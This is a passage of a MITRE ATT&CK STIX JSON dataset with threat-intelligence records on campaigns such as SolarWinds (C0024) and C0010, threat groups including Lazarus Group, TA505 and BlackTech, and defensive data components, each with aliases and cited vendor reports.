2021)","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"campaign","id":"campaign--808d6b30-df4e-4341-8248-724da4bac650","created":"2023-03-24T14:59:26.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0024","external_id":"C0024"},{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"USG Joint Statement SolarWinds January 2021","description":"FBI, CISA, ODNI, NSA. (2022, January 5). Joint Statement by the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Office of the Director of National Intelligence (ODNI), and the National Security Agency (NSA). Retrieved March 26, 2023.","url":"https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure"},{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"Mandiant UNC2452 APT29 April 2022","description":"Mandiant. (2020, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.","url":"https://www.mandiant.com/resources/blog/unc2452-merged-into-apt29"},{"source_name":"MSTIC NOBELIUM May 2021","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"},{"source_name":"Microsoft Internal Solorigate Investigation Blog","description":"MSRC Team. (2021, February 18). Microsoft Internal Solorigate Investigation – Final Update. Retrieved May 14, 2021.","url":"https://msrc-blog.microsoft.com/2021/02/18/microsoft-internal-solorigate-investigation-final-update/"},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/"},{"source_name":"NSA Joint Advisory SVR SolarWinds April 2021","description":"NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.","url":"https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF"},{"source_name":"SolarWinds Advisory Dec 2020","description":"SolarWinds. (2020, December 24). SolarWinds Security Advisory. Retrieved February 22, 2021.","url":"https://www.solarwinds.com/sa-overview/securityadvisory"},{"source_name":"SolarWinds Sunburst Sunspot Update January 2021","description":"Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021.","url":"https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/"},{"source_name":"UK NSCS Russia SolarWinds April 2021","description":"UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.","url":"https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise"},{"source_name":"Unit 42 SolarStorm December 2020","description":"Unit 42. (2020, December 23). SolarStorm Supply Chain Attack Timeline. Retrieved March 24, 2023.","url":"https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2024-04-11T16:06:34.699Z","name":"Lazarus Group","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). ","aliases":["Lazarus Group","Labyrinth Chollima","HIDDEN COBRA","Guardians of Peace","ZINC","NICKEL ACADEMY","Diamond Sleet"],"x_mitre_deprecated":false,"x_mitre_version":"4.0","x_mitre_contributors":["Kyaw Pyiyt Htet, @KyawPyiytHtet","Dragos Threat Intelligence"],"type":"intrusion-set","id":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","created":"2017-05-31T21:32:03.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0032","external_id":"G0032"},{"source_name":"Labyrinth Chollima","description":"(Citation: CrowdStrike Labyrinth Chollima Feb 2022)"},{"source_name":"Diamond Sleet","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"ZINC","description":"(Citation: Microsoft ZINC disruption Dec 2017)"},{"source_name":"Lazarus Group","description":"(Citation: Novetta Blockbuster)"},{"source_name":"NICKEL ACADEMY","description":"(Citation: Secureworks NICKEL ACADEMY Dec 2017)"},{"source_name":"Guardians of Peace","description":"(Citation: US-CERT HIDDEN COBRA June 2017)"},{"source_name":"CrowdStrike Labyrinth Chollima Feb 2022","description":"CrowdStrike. (2022, February 1). CrowdStrike Adversary Labyrinth Chollima. Retrieved February 1, 2022.","url":"https://web.archive.org/web/20210723190317/https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Secureworks NICKEL ACADEMY Dec 2017","description":"Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.","url":"https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing"},{"source_name":"Microsoft ZINC disruption Dec 2017","description":"Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.","url":"https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/"},{"source_name":"HIDDEN COBRA","description":"The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019)"},{"source_name":"Treasury North Korean Cyber Groups September 2019","description":"US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.","url":"https://home.treasury.gov/news/press-releases/sm774"},{"source_name":"US-CERT HIDDEN COBRA June 2017","description":"US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-164A"},{"source_name":"US-CERT HOPLIGHT Apr 2019","description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Process Modification","description":"Changes made to a process, or its contents, typically to write and/or execute code in the memory of the target process (ex: Sysmon EID 8)","x_mitre_data_source_ref":"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-10T14:31:59.099Z","name":"Aquatic Panda","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, [Aquatic Panda](https://attack.mitre.org/groups/G0143) has primarily targeted entities in the telecommunications, technology, and government sectors.(Citation: CrowdStrike AQUATIC PANDA December 2021)","aliases":["Aquatic Panda"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","x_mitre_contributors":["NST Assure Research Team, NetSentries Technologies","Pooja Natarajan, NEC Corporation India","Hiroki Nagahama, NEC Corporation","Manikantan Srinivasan, NEC Corporation India","Jai Minton, CrowdStrike","Jennifer Kim Roman, CrowdStrike"],"type":"intrusion-set","id":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","created":"2022-01-18T14:49:29.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0143","external_id":"G0143"},{"source_name":"CrowdStrike AQUATIC PANDA December 2021","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022.","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-10T14:33:17.448Z","name":"Daggerfly","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) is a People's Republic of China-linked APT entity active since at least 2012. [Daggerfly](https://attack.mitre.org/groups/G1034) has targeted individuals, government and NGO entities, and telecommunication companies in Asia and Africa. [Daggerfly](https://attack.mitre.org/groups/G1034) is associated with exclusive use of [MgBot](https://attack.mitre.org/software/S1146) malware and is noted for several potential supply chain infection campaigns.(Citation: Symantec Daggerfly 2023)(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2024)(Citation: ESET EvasivePanda 2024)","aliases":["Daggerfly","Evasive Panda","BRONZE HIGHLAND"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Furkan Celiik"],"type":"intrusion-set","id":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","created":"2024-07-25T17:13:06.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1034","external_id":"G1034"},{"source_name":"Evasive Panda","description":"(Citation: Symantec Daggerfly 2023)(Citation: ESET EvasivePanda 2024)"},{"source_name":"BRONZE HIGHLAND","description":"(Citation: Symantec Daggerfly 2023)(Citation: ESET EvasivePanda 2024)"},{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"},{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"},{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"},{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-04T20:18:28.362Z","name":"C0010","description":"[C0010](https://attack.mitre.org/campaigns/C0010) was a cyber espionage campaign conducted by UNC3890 that targeted Israeli shipping, government, aviation, energy, and healthcare organizations. Security researcher assess UNC3890 conducts operations in support of Iranian interests, and noted several limited technical connections to Iran, including PDB strings and Farsi language artifacts. [C0010](https://attack.mitre.org/campaigns/C0010) began by at least late 2020, and was still ongoing as of mid-2022.(Citation: Mandiant UNC3890 Aug 2022)","aliases":["C0010"],"first_seen":"2020-12-01T07:00:00.000Z","last_seen":"2022-08-01T06:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Mandiant UNC3890 Aug 2022)","x_mitre_last_seen_citation":"(Citation: Mandiant UNC3890 Aug 2022)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81","created":"2022-09-21T22:16:42.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0010","external_id":"C0010"},{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2024-04-10T22:37:02.592Z","name":"TA505","description":"[TA505](https://attack.mitre.org/groups/G0092) is a cyber criminal group that has been active since at least 2014. [TA505](https://attack.mitre.org/groups/G0092) is known for frequently changing malware, driving global trends in criminal malware distribution, and ransomware campaigns involving [Clop](https://attack.mitre.org/software/S0611).(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: NCC Group TA505)(Citation: Korean FSI TA505 2020)","aliases":["TA505","Hive0065","Spandex Tempest","CHIMBORAZO"],"x_mitre_deprecated":false,"x_mitre_version":"3.0","type":"intrusion-set","id":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","created":"2019-05-28T15:54:17.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0092","external_id":"G0092"},{"source_name":"Hive0065","description":"(Citation: IBM TA505 April 2020)"},{"source_name":"Spandex Tempest","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"CHIMBORAZO","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="},{"source_name":"IBM TA505 April 2020","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020.","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Proofpoint TA505 Sep 2017","description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter"},{"source_name":"Proofpoint TA505 June 2018","description":"Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times"},{"source_name":"Proofpoint TA505 Jan 2019","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"},{"source_name":"NCC Group TA505","description":"Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.","url":"https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-07T16:19:46.282Z","name":"User Account Authentication","description":"An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4776 or /var/log/auth.log)","x_mitre_data_source_ref":"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"x-mitre-data-component","id":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.271Z","name":"Web Credential Usage","description":"An attempt by a user to gain access to a network or computing resource by providing web credentials (ex: Windows EID 1202)","x_mitre_data_source_ref":"x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:15:23.096Z","name":"Inception","description":"[Inception](https://attack.mitre.org/groups/G0100) is a cyber espionage group active since at least 2014. The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.(Citation: Unit 42 Inception November 2018)(Citation: Symantec Inception Framework March 2018)(Citation: Kaspersky Cloud Atlas December 2014)","aliases":["Inception","Inception Framework","Cloud Atlas"],"x_mitre_deprecated":false,"x_mitre_version":"1.2","x_mitre_contributors":["Oleg Skulkin, Group-IB"],"type":"intrusion-set","id":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","created":"2020-05-08T17:01:04.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0100","external_id":"G0100"},{"source_name":"Cloud Atlas","description":"(Citation: Kaspersky Cloud Atlas December 2014)"},{"source_name":"Inception","description":"(Citation: Symantec Inception Framework March 2018)"},{"source_name":"Inception Framework","description":"(Citation: Symantec Inception Framework March 2018)"},{"source_name":"Kaspersky Cloud Atlas December 2014","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020.","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/"},{"source_name":"Unit 42 Inception November 2018","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020.","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/"},{"source_name":"Symantec Inception Framework March 2018","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["admin@338"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tatsuya Daitoku, Cyber Defense Institute, Inc."],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","type":"intrusion-set","created":"2017-05-31T21:31:53.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0018","external_id":"G0018"},{"source_name":"admin@338","description":"(Citation: FireEye admin@338)"},{"source_name":"FireEye admin@338","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}],"modified":"2020-03-18T19:54:59.120Z","name":"admin@338","description":"[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["BlackTech","Palmerworm"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tatsuya Daitoku, Cyber Defense Institute, Inc.","Hannah Simes, BT Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","created":"2020-05-05T18:36:45.970Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"G0098","url":"https://attack.mitre.org/groups/G0098"},{"source_name":"Palmerworm","description":"(Citation: Symantec Palmerworm Sep 2020)(Citation: IronNet BlackTech Oct 2021)"},{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."},{"source_name":"IronNet BlackTech Oct 2021","url":"https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape","description":"Demboski, M., et al. (2021, October 26). China cyber attacks: the current threat landscape. Retrieved March 25, 2022."},{"source_name":"Reuters Taiwan BlackTech August 2020","url":"https://www.reuters.com/article/us-taiwan-cyber-china/taiwan-says-china-behind-cyberattacks-on-government-agencies-emails-idUSKCN25F0JK","description":"Lee, Y. (2020, August 19). Taiwan says China behind cyberattacks on government agencies, emails. Retrieved April 6, 2022."},{"source_name":"Symantec Palmerworm Sep 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt","description":"Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BlackTech](https://attack.mitre.org/groups/G0098) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia--particularly Taiwan, Japan, and Hong Kong--and the US since at least 2013. [BlackTech](https://attack.mitre.org/groups/G0098) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020)","modified":"2022-04-06T13:14:27.477Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"BlackTech","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Response Content","description":"Logged network traffic in response to a scan showing both protocol header and body values","x_mitre_data_source_ref":"x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-29T14:10:35.711Z","name":"Malteiro","description":"[Malteiro](https://attack.mitre.org/groups/G1026) is a financially motivated criminal group that is likely based in Brazil and has been active since at least November 2019. The group operates and distributes the [Mispadu](https://attack.mitre.org/software/S1122) banking trojan via a Malware-as-a-Service (MaaS) business model. [Malteiro](https://attack.mitre.org/groups/G1026) mainly targets victims throughout Latin America (particularly Mexico) and Europe (particularly Spain and Portugal).(Citation: SCILabs Malteiro 2021)","aliases":["Malteiro"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Daniel Fernando Soriano Espinosa","SCILabs"],"type":"intrusion-set","id":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","created":"2024-03-13T20:23:54.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1026","external_id":"G1026"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-07T16:18:20.802Z","name":"Logon Session Creation","description":"Initial construction of a successful new user logon following an authentication attempt. (e.g. Windows EID 4624, /var/log/utmp, or 